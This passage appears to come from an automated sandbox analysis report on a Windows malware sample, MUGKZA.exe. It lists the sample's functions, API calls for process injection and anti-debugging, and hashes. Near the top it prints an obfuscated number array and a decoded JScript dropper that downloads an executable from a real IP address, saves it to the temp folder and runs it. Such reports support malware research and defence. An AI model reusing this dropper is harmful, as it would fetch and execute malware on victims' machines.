I4o, 99583060 - I4o, 99583073 - I4o, 99583069 - I4o, 99582990 - I4o, 99583019 - I4o, 99582990 - I4o, 99583068 - I4o, 99583059 - I4o, 99583077 - I4o, 99582990 - I4o, 99583023 - I4o, 99583057 - I4o, 99583074 - I4o, 99583063 - I4o, 99583076 - I4o, 99583059 - I4o, 99583046 - I4o, 99583037 - I4o, 99583056 - I4o, 99583064 - I4o, 99583059 - I4o, 99583057 - I4o, 99583074 - I4o, 99582998 - I4o, 99582992 - I4o, 99583041 - I4o, 99583057 - I4o, 99583072 - I4o, 99583063 - I4o, 99583070 - I4o, 99583074 - I4o, 99583063 - I4o, 99583068 - I4o, 99583061 - I4o, 99583004 - I4o, 99583028 - I4o, 99583063 - I4o, 99583066 - I4o, 99583059 - I4o, 99583041 - I4o, 99583079 - I4o, 99583073 - I4o, 99583074 - I4o, 99583059 - I4o, 99583067 - I4o, 99583037 - I4o, 99583056 - I4o, 99583064 - I4o, 99583059 - I4o, 99583057 - I4o, 99583074 - I4o, 99582992 - I4o, 99582999 - I4o, 99583017 - I4o, 99582968 - I4o, 99583076 - I4o, 99583055 - I4o, 99583072 - I4o, 99582990 - I4o, 99583060 - I4o, 99583063 - I4o, 99583066 - I4o, 99583059 - I4o, 99583070 - I4o, 99583055 - I4o, 99583074 - I4o, 99583062 - I4o, 99582990 - I4o, 99583019 - I4o, 99582990 - I4o, 99583060 - I4o, 99583073 - I4o, 99583069 - I4o, 99583004 - I4o, 99583029 - I4o, 99583059 - I4o, 99583074 - I4o, 99583041 - I4o, 99583070 - I4o, 99583059 - I4o, 99583057 - I4o, 99583063 - I4o, 99583055 - I4o, 99583066 - I4o, 99583028 - I4o, 99583069 - I4o, 99583066 - I4o, 99583058 - I4o, 99583059 - I4o, 99583072 - I4o, 99582998 - I4o, 99583008 - I4o, 99582999 - I4o, 99582990 - I4o, 99583001 - I4o, 99582990 - I4o, 99582992 - I4o, 99583005 - I4o, 99583035 - I4o, 99583043 - I4o, 99583029 - I4o, 99583033 - I4o, 99583048 - I4o, 99583023 - I4o, 99583004 - I4o, 99583059 - I4o, 99583078 - I4o, 99583059 - I4o, 99582992 - I4o, 99583017 - I4o, 99582968 - I4o, 99583063 - I4o, 99583060 - I4o, 99582990 - I4o, 99582998 - I4o, 99583037 - I4o, 99583056 - I4o, 99583064 - I4o, 99583059 - I4o, 99583057 - I4o, 99583074 - I4o, 99583004 - I4o, 99583041 - I4o, 99583074 - I4o, 99583055 - I4o, 99583074 - I4o, 99583075 - I4o, 99583073 - I4o, 99582990 - I4o, 99583019 - I4o, 99583019 - I4o, 99582990 - I4o, 99583008 - I4o, 99583006 - I4o, 99583006 - I4o, 99582999 - I4o, 99582968 - I4o, 99583081 - I4o, 99582968 - I4o, 99583076 - I4o, 99583055 - I4o, 99583072 - I4o, 99582990 - I4o, 99583041 - I4o, 99583074 - I4o, 99583072 - I4o, 99583059 - I4o, 99583055 - I4o, 99583067 - I4o, 99582990 - I4o, 99583019 - I4o, 99582990 - I4o, 99583068 - I4o, 99583059 - I4o, 99583077 - I4o, 99582990 - I4o, 99583023 - I4o, 99583057 - I4o, 99583074 - I4o, 99583063 - I4o, 99583076 - I4o, 99583059 - I4o, 99583046 - I4o, 99583037 - I4o, 99583056 - I4o, 99583064 - I4o, 99583059 - I4o, 99583057 - I4o, 99583074 - I4o, 99582998 - I4o, 99582992 - I4o, 99583023 - I4o, 99583026 - I4o, 99583037 - I4o, 99583026 - I4o, 99583024 - I4o, 99583004 - I4o, 99583041 - I4o, 99583074 - I4o, 99583072 - I4o, 99583059 - I4o, 99583055 - I4o, 99583067 - I4o, 99582992 - I4o, 99582999 - I4o, 99583017 - I4o, 99582968 - I4o, 99583041 - I4o, 99583074 - I4o, 99583072 - I4o, 99583059 - I4o, 99583055 - I4o, 99583067 - I4o, 99583004 - I4o, 99583037 - I4o, 99583070 - I4o, 99583059 - I4o, 99583068 - I4o, 99582998 - I4o, 99582999 - I4o, 99583017 - I4o, 99582968 - I4o, 99583041 - I4o, 99583074 - I4o, 99583072 - I4o, 99583059 - I4o, 99583055 - I4o, 99583067 - I4o, 99583004 - I4o, 99583042 - I4o, 99583079 - I4o, 99583070 - I4o, 99583059 - I4o, 99582990 - I4o, 99583019 - I4o, 99582990 - I4o, 99583007 - I4o, 99583017 - I4o, 99582968 - I4o, 99583041 - I4o, 99583074 - I4o, 99583072 - I4o, 99583059 - I4o, 99583055 - I4o, 99583067 - I4o, 99583004 - I4o, 99583045 - I4o, 99583072 - I4o, 99583063 - I4o, 99583074 - I4o, 99583059 - I4o, 99582998 - I4o, 99583037 - I4o, 99583056 - I4o, 99583064 - I4o, 99583059 - I4o, 99583057 - I4o, 99583074 - I4o, 99583004 - I4o, 99583040 - I4o, 99583059 - I4o, 99583073 - I4o, 99583070 - I4o, 99583069 - I4o, 99583068 - I4o, 99583073 - I4o, 99583059 - I4o, 99583024 - I4o, 99583069 - I4o, 99583058 - I4o, 99583079 - I4o, 99582999 - I4o, 99583017 - I4o, 99582968 - I4o, 99583041 - I4o, 99583074 - I4o, 99583072 - I4o, 99583059 - I4o, 99583055 - I4o, 99583067 - I4o, 99583004 - I4o, 99583038 - I4o, 99583069 - I4o, 99583073 - I4o, 99583063 - I4o, 99583074 - I4o, 99583063 - I4o, 99583069 - I4o, 99583068 - I4o, 99582990 - I4o, 99583019 - I4o, 99582990 - I4o, 99583006 - I4o, 99583017 - I4o, 99582968 - I4o, 99583041 - I4o, 99583074 - I4o, 99583072 - I4o, 99583059 - I4o, 99583055 - I4o, 99583067 - I4o, 99583004 - I4o, 99583041 - I4o, 99583055 - I4o, 99583076 - I4o, 99583059 - I4o, 99583042 - I4o, 99583069 - I4o, 99583028 - I4o, 99583063 - I4o, 99583066 - I4o, 99583059 - I4o, 99582998 - I4o, 99583060 - I4o, 99583063 - I4o, 99583066 - I4o, 99583059 - I4o, 99583070 - I4o, 99583055 - I4o, 99583074 - I4o, 99583062 - I4o, 99583002 - I4o, 99582990 - I4o, 99583008 - I4o, 99582999 - I4o, 99583017 - I4o, 99582968 - I4o, 99583041 - I4o, 99583074 - I4o, 99583072 - I4o, 99583059 - I4o, 99583055 - I4o, 99583067 - I4o, 99583004 - I4o, 99583025 - I4o, 99583066 - I4o, 99583069 - I4o, 99583073 - I4o, 99583059 - I4o, 99582998 - I4o, 99582999 - I4o, 99583017 - I4o, 99582968 - I4o, 99583076 - I4o, 99583055 - I4o, 99583072 - I4o, 99582990 - I4o, 99583045 - I4o, 99583073 - I4o, 99583062 - I4o, 99583041 - I4o, 99583062 - I4o, 99583059 - I4o, 99583066 - I4o, 99583066 - I4o, 99582990 - I4o, 99583019 - I4o, 99582990 - I4o, 99583068 - I4o, 99583059 - I4o, 99583077 - I4o, 99582990 - I4o, 99583023 - I4o, 99583057 - I4o, 99583074 - I4o, 99583063 - I4o, 99583076 - I4o, 99583059 - I4o, 99583046 - I4o, 99583037 - I4o, 99583056 - I4o, 99583064 - I4o, 99583059 - I4o, 99583057 - I4o, 99583074 - I4o, 99582998 - I4o, 99582992 - I4o, 99583045 - I4o, 99583041 - I4o, 99583057 - I4o, 99583072 - I4o, 99583063 - I4o, 99583070 - I4o, 99583074 - I4o, 99583004 - I4o, 99583041 - I4o, 99583062 - I4o, 99583059 - I4o, 99583066 - I4o, 99583066 - I4o, 99582992 - I4o, 99582999 - I4o, 99583017 - I4o, 99582968 - I4o, 99583076 - I4o, 99583055 - I4o, 99583072 - I4o, 99582990 - I4o, 99583069 - I4o, 99583040 - I4o, 99583043 - I4o, 99583036 - I4o, 99582990 - I4o, 99583019 - I4o, 99582990 - I4o, 99583045 - I4o, 99583073 - I4o, 99583062 - I4o, 99583041 - I4o, 99583062 - I4o, 99583059 - I4o, 99583066 - I4o, 99583066 - I4o, 99583004 - I4o, 99583040 - I4o, 99583075 - I4o, 99583068 - I4o, 99582998 - I4o, 99583060 - I4o, 99583063 - I4o, 99583066 - I4o, 99583059 - I4o, 99583070 - I4o, 99583055 - I4o, 99583074 - I4o, 99583062 - I4o, 99582999 - I4o, 99583017 - I4o, 99582968 - I4o, 99583083 - I4o, 99582968 - I4o, 99583083 - I4o, 99582968 - I4o, 99583057 - I4o, 99583055 - I4o, 99583074 - I4o, 99583057 - I4o, 99583062 - I4o, 99582998 - I4o, 99583059 - I4o, 99582999 - I4o, 99583081 - I4o, 99583083 - I4o, 99582968 - I4o );
2	eval ( FRYIZK );	eval("try{ var Object = new ActiveXObject("MSXML2.XMLHTTP"); Object.Open("GET", "http://192.210.215.11/zoom/don701.exe", false); Object.Send(); var fso = new ActiveXObject("Scripting.FileSystemObject"); var filepath = fso.GetSpecialFolder(2) + "/MUGKZA.exe"; if (Object.Status == 200) { var Stream = new ActiveXObject("ADODB.Stream"); Stream.Open(); Stream.Type = 1; Stream.Write(Object.ResponseBody); Stream.Position = 0; Stream.SaveToFile(filepath, 2); Stream.Close(); var WshShell = new ActiveXObject("WScript.Shell"); var oRUN = WshShell.Run(filepath); } } catch(e){} ") ➔ undefined

Reset < >

Analysis Process: MUGKZA.exePID: 7348, Parent PID: 7260COMMON

Execution Graph

Execution Coverage:	12.3%
Dynamic/Decrypted Code Coverage:	96.7%
Signature Coverage:	12.1%
Total number of Nodes:	91
Total number of Limit Nodes:	1

Executed Functions

Function 00FE4AE8 Relevance: 22.3, APIs: 1, Strings: 10, Instructions: 3086
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 00FE4E7D

Strings

abcdefghijklmnopqrstuvwxyz1234567890, xrefs: 00FE4B17
U, xrefs: 00FE5143
P U, xrefs: 00FE4F55
XX, xrefs: 00FE4F88
-, xrefs: 00FE511B
Coronovirus.Coronovirus, xrefs: 00FE5014
F, xrefs: 00FE510D
(, xrefs: 00FE5125
(, xrefs: 00FE5139
., xrefs: 00FE521F

Memory Dump Source

Source File: 00000001.00000002.1687636430.0000000000FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_fe0000_MUGKZA.jbxd

Similarity

API ID: InitializeThunk
String ID: abcdefghijklmnopqrstuvwxyz1234567890$($($-$.$Coronovirus.Coronovirus$F$P U$U$XX
API String ID: 2994545307-2736445547
Opcode ID: eca79328eb26293d9a025e84427eeb71a56f817cff39522e7423c0d39c863864
Instruction ID: b6c64027e5286a733757682adc919150d117e39f70664ac949e32527acc6168a
Opcode Fuzzy Hash: eca79328eb26293d9a025e84427eeb71a56f817cff39522e7423c0d39c863864
Instruction Fuzzy Hash: 20531074A013188FCB64DB68CD94B9DB7F6BF88700F1486D9D40DAB369DA31AE848F54

Function 00FE4A6A Relevance: 22.1, APIs: 1, Strings: 10, Instructions: 2852
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 00FE4E7D

Strings

abcdefghijklmnopqrstuvwxyz1234567890, xrefs: 00FE4B17
U, xrefs: 00FE5143
P U, xrefs: 00FE4F55
XX, xrefs: 00FE4F88
-, xrefs: 00FE511B
Coronovirus.Coronovirus, xrefs: 00FE5014
F, xrefs: 00FE510D
(, xrefs: 00FE5125
(, xrefs: 00FE5139
., xrefs: 00FE521F

Memory Dump Source

Source File: 00000001.00000002.1687636430.0000000000FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_fe0000_MUGKZA.jbxd

Similarity

API ID: InitializeThunk
String ID: abcdefghijklmnopqrstuvwxyz1234567890$($($-$.$Coronovirus.Coronovirus$F$P U$U$XX
API String ID: 2994545307-2736445547
Opcode ID: edbddae12683a628fe5800ab1a829a4bf7f4c28055ab893b641b0782050641fd
Instruction ID: 8cb7a59959e6a53bfd169676a091913941dbbf8ce999383308f4b46d999340cf
Opcode Fuzzy Hash: edbddae12683a628fe5800ab1a829a4bf7f4c28055ab893b641b0782050641fd
Instruction Fuzzy Hash: 28532074A012188FCB64DF68CD94B9DB7F6BF88700F1486D9D40DAB369DA31AE848F54

Function 00FE4AD8 Relevance: 22.0, APIs: 1, Strings: 10, Instructions: 2776
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 00FE4E7D

Strings

abcdefghijklmnopqrstuvwxyz1234567890, xrefs: 00FE4B17
U, xrefs: 00FE5143
P U, xrefs: 00FE4F55
XX, xrefs: 00FE4F88
-, xrefs: 00FE511B
Coronovirus.Coronovirus, xrefs: 00FE5014
F, xrefs: 00FE510D
(, xrefs: 00FE5125
(, xrefs: 00FE5139
., xrefs: 00FE521F

Memory Dump Source

Source File: 00000001.00000002.1687636430.0000000000FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_fe0000_MUGKZA.jbxd

Similarity

API ID: InitializeThunk
String ID: abcdefghijklmnopqrstuvwxyz1234567890$($($-$.$Coronovirus.Coronovirus$F$P U$U$XX
API String ID: 2994545307-2736445547
Opcode ID: cc8425e5bba832f406c9aa222905aa98cdffdf8a73bf8c63171fe2b19b5b15f0
Instruction ID: e00e45b565f2c17a758dd9536af0eab6c3175d611b4982572e13bc667db753ad
Opcode Fuzzy Hash: cc8425e5bba832f406c9aa222905aa98cdffdf8a73bf8c63171fe2b19b5b15f0
Instruction Fuzzy Hash: 47431F74A412188FCB64DF68CD94B9DB7F6BF88700F1486D9D40DAB369DA31AE848F44

Function 00FE0860 Relevance: 5.7, APIs: 1, Strings: 2, Instructions: 430
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 00FE0D83

Strings

@, xrefs: 00FE0C88
\KV, xrefs: 00FE091C

Memory Dump Source

Source File: 00000001.00000002.1687636430.0000000000FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_fe0000_MUGKZA.jbxd

Similarity

API ID: ProtectVirtual
String ID: @$\KV
API String ID: 544645111-435361029
Opcode ID: d4aad70963ceea24663bf686a99a6058f5bca6b165c5b0d0ecf08a9e3f1d9c4e
Instruction ID: ec3f43f47a2aeb9ea4887c8a7e64ecea6b7e0832c40497806a94dd585aeb0255
Opcode Fuzzy Hash: d4aad70963ceea24663bf686a99a6058f5bca6b165c5b0d0ecf08a9e3f1d9c4e
Instruction Fuzzy Hash: B302F271E002498FCB54CF99C590AADBBF2FB49310F64816AE815EB306D774ED82DB91

Function 00FE89F0 Relevance: 1.8, Strings: 1, Instructions: 540
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

poq, xrefs: 00FE8E09

Memory Dump Source

Source File: 00000001.00000002.1687636430.0000000000FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_fe0000_MUGKZA.jbxd

Similarity

API ID:
String ID: poq
API String ID: 0-1570044193
Opcode ID: 8fff82f7ab20292206166fd7e8f403a5c017b8c1e00daec60793f756353ec309
Instruction ID: 131ca7d54bca8011af5d6143e6a1ae7098c803d208f92677208fa5b8a9014ca3
Opcode Fuzzy Hash: 8fff82f7ab20292206166fd7e8f403a5c017b8c1e00daec60793f756353ec309
Instruction Fuzzy Hash: A232FF75A00218CFDB25DFA9C940E99BBB2FF49310F1580E9E509AB365DB319E91DF10

Function 00FED248 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

CheckRemoteDebuggerPresent.KERNELBASE(?,?), ref: 00FED2B6

Memory Dump Source

Source File: 00000001.00000002.1687636430.0000000000FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_fe0000_MUGKZA.jbxd

Similarity

API ID: CheckDebuggerPresentRemote
String ID:
API String ID: 3662101638-0
Opcode ID: 2526f06d1c5b8486feb325e3bc785d5320b0a4035e95c79a2e67e37c41267de3
Instruction ID: 53a6658db4e1c5dc07456811638d757e4d59fcdfb706fdf84bed762f9e9c674f
Opcode Fuzzy Hash: 2526f06d1c5b8486feb325e3bc785d5320b0a4035e95c79a2e67e37c41267de3
Instruction Fuzzy Hash: 8C1114B1D002498FDB10DFAAC484A9EFBF8EF48324F50842AD459A7250CB74A944CFA5

Function 00FEA8C0 Relevance: .5, Instructions: 532COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1687636430.0000000000FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_fe0000_MUGKZA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 25903dab28010bf71c75a501c75997c69db9783ea1f52e86d171210cd841ceea
Instruction ID: f2437fdff3686d937d3de2482d69faa7ff4a64f159b5a913d1f2b0667bbbdc8c
Opcode Fuzzy Hash: 25903dab28010bf71c75a501c75997c69db9783ea1f52e86d171210cd841ceea
Instruction Fuzzy Hash: F542A374E04259CFEB64CF65D944BEDBBB2FB89300F1095A9E809A7290DB306E85DF50

Function 00FE897F Relevance: .2, Instructions: 164COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1687636430.0000000000FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_fe0000_MUGKZA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c99602b7b59621cb46c4f365a937d1cac3ff21859f3004cfeb66b5329fb69ac4
Instruction ID: a794e50c33fe81b40c2e82621a92c78b15ed3178f0f5df87fd89e3e518c8865a
Opcode Fuzzy Hash: c99602b7b59621cb46c4f365a937d1cac3ff21859f3004cfeb66b5329fb69ac4
Instruction Fuzzy Hash: 5D613D75E052588FDB14DF6AD8407DEBBB2FF89300F14C1AAD448AB265DB308A86DF11

Function 00FE89E2 Relevance: .1, Instructions: 134COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1687636430.0000000000FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_fe0000_MUGKZA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8b38ca84bf5b6d0d172d8327123d5925ed0691875a6d4e11f97a44ce6eda570b
Instruction ID: cfaa25980a72a11b42e8927a53c4ae20594c2fc40eefb4d0839ead51b442a1b0
Opcode Fuzzy Hash: 8b38ca84bf5b6d0d172d8327123d5925ed0691875a6d4e11f97a44ce6eda570b
Instruction Fuzzy Hash: 4E51E675E052588FDB14CF6AD940BDEBBB2BF89300F14D1AAD409AB224DB305A85CF50

Function 00FEEC7D Relevance: 1.8, APIs: 1, Instructions: 274
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 00FEEEBE

Memory Dump Source

Source File: 00000001.00000002.1687636430.0000000000FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_fe0000_MUGKZA.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: f3ef0429d75b48b87a5959f93e60e5aa5b4ac5034fcff61538e728d979b235d6
Instruction ID: 3cbb66570ae89c00459b25fcc2f4fbc857e5228670760bbb699ed1ed6452547a
Opcode Fuzzy Hash: f3ef0429d75b48b87a5959f93e60e5aa5b4ac5034fcff61538e728d979b235d6
Instruction Fuzzy Hash: 1EB19D71D00299CFDF20CFA9DC417DEBBB2AF44310F1485A9E848A7294DB749985DF91

Function 00FEEC88 Relevance: 1.7, APIs: 1, Instructions: 243
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 00FEEEBE

Memory Dump Source

Source File: 00000001.00000002.1687636430.0000000000FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_fe0000_MUGKZA.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 25d4988c505083ee55af1ce45b5e96e24e3315f7f3d66bd5f18e2e92bb97f5f5
Instruction ID: d163022aabd2c5229c1f90083e0ae434dc0d0e79ac8cb1ae58c3ba26a9f59407
Opcode Fuzzy Hash: 25d4988c505083ee55af1ce45b5e96e24e3315f7f3d66bd5f18e2e92bb97f5f5
Instruction Fuzzy Hash: 3B917B71D00299CFDB20CFA9DC417DEBBB2BF48310F1485A9E808A7294DB749985DF91

Function 00FED5F0 Relevance: 1.6, APIs: 1, Instructions: 124
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnumWindows.USER32(00000000,?), ref: 00FED5A8

Memory Dump Source

Source File: 00000001.00000002.1687636430.0000000000FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_fe0000_MUGKZA.jbxd

Similarity

API ID: EnumWindows
String ID:
API String ID: 1129996299-0
Opcode ID: 029d9023e3874b2a44d5d9b1d6a63739e7b3a002105541aa98b59da07346c99d
Instruction ID: 86be0cd2306bf261d9c1f1c6347f99d612bbc24eba786518b99a4869c99baa5a
Opcode Fuzzy Hash: 029d9023e3874b2a44d5d9b1d6a63739e7b3a002105541aa98b59da07346c99d
Instruction Fuzzy Hash: A1511575E043988FDB04DFEAC8546DEBBF2AF88310F14802AE419AB365DB345905CF91

Function 00FEE9F8 Relevance: 1.6, APIs: 1, Instructions: 72
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 00FEEA90

Memory Dump Source

Source File: 00000001.00000002.1687636430.0000000000FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_fe0000_MUGKZA.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: d0910d099cdc4a603e50c0cd1ab89c4fd511dec847db126fb40c72d8240e1c6e
Instruction ID: cba72947977eed5565bdb7c8fe696a11fcc1a64c613bd374f28a14d45371c493
Opcode Fuzzy Hash: d0910d099cdc4a603e50c0cd1ab89c4fd511dec847db126fb40c72d8240e1c6e
Instruction Fuzzy Hash: C92146B19003599FCB10CFAAD885BDEBBF5FF48320F108429E958A7250D7789944DBA4

Function 00FEEA00 Relevance: 1.6, APIs: 1, Instructions: 69
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 00FEEA90

Memory Dump Source

Source File: 00000001.00000002.1687636430.0000000000FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_fe0000_MUGKZA.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 86e7ce39617184e472cceca5b16aeb19916a2720420c1f619138ab7348946f19
Instruction ID: 35a923f85c8f58c0058b5c96a64c52da0e0d35d952453b5380ca79b541cfde5a
Opcode Fuzzy Hash: 86e7ce39617184e472cceca5b16aeb19916a2720420c1f619138ab7348946f19
Instruction Fuzzy Hash: 992125B1900359DFCB10CFAAD885BDEBBF5FF48320F10842AE958A7250D7789944DBA4

Function 00FEE860 Relevance: 1.6, APIs: 1, Instructions: 66
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 00FEE8E6

Memory Dump Source

Source File: 00000001.00000002.1687636430.0000000000FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_fe0000_MUGKZA.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 1f05589e9db6bdb8302a1f219ac02712daabcdd1948dc065f5642d39ded4b418
Instruction ID: 934cbaa4a5dd030c58e433cd00840b58b94e1bde23994c8af5a0232d82f3ad94
Opcode Fuzzy Hash: 1f05589e9db6bdb8302a1f219ac02712daabcdd1948dc065f5642d39ded4b418
Instruction Fuzzy Hash: 2E213871D003098FDB10DFAAC885BEEBBF4EF48324F148429D459A7241CB789A45CFA5

Function 00FEE868 Relevance: 1.6, APIs: 1, Instructions: 63
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 00FEE8E6

Memory Dump Source

Source File: 00000001.00000002.1687636430.0000000000FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_fe0000_MUGKZA.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: ae9b576bf79972f3845feced00cd352a3afa8e16c98109fb9aca759a7d5eceb3
Instruction ID: e895563eceb9c6a1c0fa1a888f92e6178b5ac045ca21f26fcd361fe844480f3d
Opcode Fuzzy Hash: ae9b576bf79972f3845feced00cd352a3afa8e16c98109fb9aca759a7d5eceb3
Instruction Fuzzy Hash: 6B214971D003098FDB10DFAAC4857EEBBF4EF48324F148429D459A7241CB789A45CFA5

Function 00FEEAF0 Relevance: 1.6, APIs: 1, Instructions: 63
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 00FEEB70

Memory Dump Source

Source File: 00000001.00000002.1687636430.0000000000FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_fe0000_MUGKZA.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 8a6086d6ae5b68370345135fd4a8018a02d975e8271962b6c5c8db317b258124
Instruction ID: 42eeb1803a68ea6c0ef32e79d12f7d1559e93050dcc7973682bd675883c91e79
Opcode Fuzzy Hash: 8a6086d6ae5b68370345135fd4a8018a02d975e8271962b6c5c8db317b258124
Instruction Fuzzy Hash: 722137B1C003599FCB10DFAAD880AEEFBF5FF48320F10842AE559A7250C7789944DBA4

Function 00FEEAE9 Relevance: 1.6, APIs: 1, Instructions: 63
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 00FEEB70

Memory Dump Source

Source File: 00000001.00000002.1687636430.0000000000FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_fe0000_MUGKZA.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 1df666a14d85534cd7231bb46ed3674a45585b7ddb1b05d731467098d2894ec4
Instruction ID: dd2ac88fc52d7022bd1d4fed9fd5deddd96918ebbde4dafed97a40c0ad34316d
Opcode Fuzzy Hash: 1df666a14d85534cd7231bb46ed3674a45585b7ddb1b05d731467098d2894ec4
Instruction Fuzzy Hash: 7A2136B1C002598FCB10DFAAD880ADEBBF4FF48320F10842AE559A7251C7749544DBA4

Function 00FED528 Relevance: 1.6, APIs: 1, Instructions: 60
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnumWindows.USER32(00000000,?), ref: 00FED5A8

Memory Dump Source

Source File: 00000001.00000002.1687636430.0000000000FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_fe0000_MUGKZA.jbxd

Similarity

API ID: EnumWindows
String ID:
API String ID: 1129996299-0
Opcode ID: 55761bb3648c80fd892c7369bb5121e17a9c207a2443a954e94abb4f7340e162
Instruction ID: 4dde9f0bf998dd08941c0cb0cff7f08cb4b6eed4427ac225a518e413b2d8423a
Opcode Fuzzy Hash: 55761bb3648c80fd892c7369bb5121e17a9c207a2443a954e94abb4f7340e162
Instruction Fuzzy Hash: 2E21A7B1C002498FCB14DFAAC944BEEBBF9EF88324F14842AC445A7290CB34A941CF90

Function 00FED530 Relevance: 1.6, APIs: 1, Instructions: 58COMMON

Download Yara Rule

APIs

EnumWindows.USER32(00000000,?), ref: 00FED5A8

Memory Dump Source

Source File: 00000001.00000002.1687636430.0000000000FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_fe0000_MUGKZA.jbxd

Similarity

API ID: EnumWindows
String ID:
API String ID: 1129996299-0
Opcode ID: 052d760561037c20e5e6e20c1269f2447635118c2487b8014a78bd5492a2612e
Instruction ID: 694a36c5235aa20e6e96fa202f893b60854b0f4c6b6f8c7388a0fba2c40bdb14
Opcode Fuzzy Hash: 052d760561037c20e5e6e20c1269f2447635118c2487b8014a78bd5492a2612e
Instruction Fuzzy Hash: 04214771D002498FDB14DFAAC9447EEFBF5EF88324F14842AC455A7254CB74A945CFA0

Function 00FED241 Relevance: 1.6, APIs: 1, Instructions: 57COMMON

Download Yara Rule

